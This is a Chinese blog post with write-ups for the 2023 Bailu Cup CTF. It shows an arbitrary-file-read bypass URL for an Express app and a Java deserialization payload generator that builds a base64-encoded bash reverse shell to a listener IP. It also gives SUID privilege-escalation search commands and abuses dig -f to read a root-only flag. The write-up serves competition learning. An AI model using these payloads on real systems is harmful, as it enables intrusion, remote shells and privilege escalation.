2023柏鹭杯复现

签到

每行空格数量转ascii,输出就是flag

import os

file = open('pd.txt', 'r')
lines = file.readlines()

total_str = ''

for line in lines:
    length = len(line)-1
    # print(length)
    c = chr(length)
    # print(c)
    total_str += c

print(total_str)


express ps

有任意文件读取,读/proc/1/environ,能发现这个文件main.js

const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 80;

app.use('/static', express.static('static'))

app.use((req, res, next) => {
  if (
    [req.body, req.headers, req.query].some(
      (item) => item && JSON.stringify(item).includes("flag")
    )
  ) {
    return res.send("臭黑客!");
  }
  next();
});

app.get("/", (req, res) => {
  try {
    res.setHeader("Content-Type", "text/html");
    res.send(fs.readFileSync(req.query.file || "index.html").toString());
  } catch (err) {
    console.log(err);
    res.status(500).send("Internal server error");
  }
});

app.listen(PORT, () => console.log(`express server listening on port ${PORT}`));

根据源码关键代码,直接Google,找到现成WP,payload如下。

http://8.130.138.33:12180/?file[href]=aa&file[origin]=aa&file[protocol]=file:&file[hostname]=&file[pathname]=%2566lag.txt

JDBC(等WP)

反序列化(等WP)

UAF(等WP)

很抽象,貌似是PHP Pwn

综合5

任意文件读取获取到Java打包的源码
http://8.130.138.33:51180/readfile?filename=../../../../app/demo.jar
使用JD-GUI反编译获得源码,第一个flag的题面如下

private String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==";

public String O0O = "6925cc02789c1d2552b71acc4a2d48fd";

private static String loadedRedisPassword;

public String o0o(String Ooo) {
StringBuilder oOo = new StringBuilder();
for (int o0O = 0, OO0 = Ooo.length(); o0O < OO0; o0O++) {
    char Oo0 = Ooo.charAt(o0O);
    char oOO = this.O0O.charAt(o0O % this.O0O.length());
    char OOo = (char)(Oo0 ^ oOO);
    oOo.append(OOo);
} 
return Base64.getEncoder().encodeToString(oOo.toString().getBytes());
}

把加密函数丢到GPT里,解密即可。

综合6

第二个flag的思路是,利用Java反序列化,触发自带的Ping类的Runtime.exec命令执行,来getshell。
这里我卡在了,对Java无回显命令执行,反弹shell的payload不熟练,导致错失flag。
反弹shell命令速查

package BOOT-INF.classes.com.example.demo;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

class Ping implements Serializable {
  private static final long serialVersionUID = 1L;
  
  private String command;
  
  private String arg1;
  
  private String arg2;
  
  public void setCommand(String command) {
    this.command = command;
  }
  
  public void setArg1(String arg1) {
    this.arg1 = arg1;
  }
  
  public void setArg2(String arg2) {
    this.arg2 = arg2;
  }
  
  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    String[] cmdArray = { this.command, this.arg1, this.arg2 };
    Runtime.getRuntime().exec(cmdArray);
  }
}

  @PostMapping({"/internalApi/v3.2/updateConfig"})
  public String syncData(@RequestBody String payload) {
    try {
      byte[] data = Base64.getDecoder().decode(payload);
      ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
      Object obj = ois.readObject();
      return "Data synced successfully";
    } catch (IOException|ClassNotFoundException e) {
      return "Failed to sync data: " + e.getMessage();
    } 
  }

构造Java反弹shell的Payload

package com.example.demo;

import java.io.*;
import java.util.Base64;
import com.example.demo.Ping;

public class Test {
    public static void main(String[] args) throws Exception{
        Ping ping = new Ping();
        ping.setCommand("bash");
        ping.setArg1("-c");
        // /bin/bash -i >& /dev/tcp/192.168.72.128/2333 0>&1
        ping.setArg2("{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNzIuMTI4LzIzMzMgMD4mMSAgIA==}|{base64,-d}|{bash,-i}");
        serialize(ping);
    }
    public static void serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(baos);
        out.writeObject(o);
        out.close();
        String res = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println("res = " + res);
        System.out.println("序列化完成...");
    }
}

vps监听,然后用Postman把payload发过去
image.png
成功上线,在/app/hint.txt有提示,flag2的路径是/root/flag2,但是权限不够没法访问
image.png
suid提权,先找权限高的命令,常用查询语句如下:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

image.png
这里可以用dig -f命令读取文件,就能获取flag;选dig的原因是它可以被利用:所有可以suid提权的命令
image.png

综合7

利用Redis写入SSH,老东西了,下次再来。

posted @ 2023-12-06 22:00  Jasper_sec  阅读(37)  评论(0编辑  收藏  举报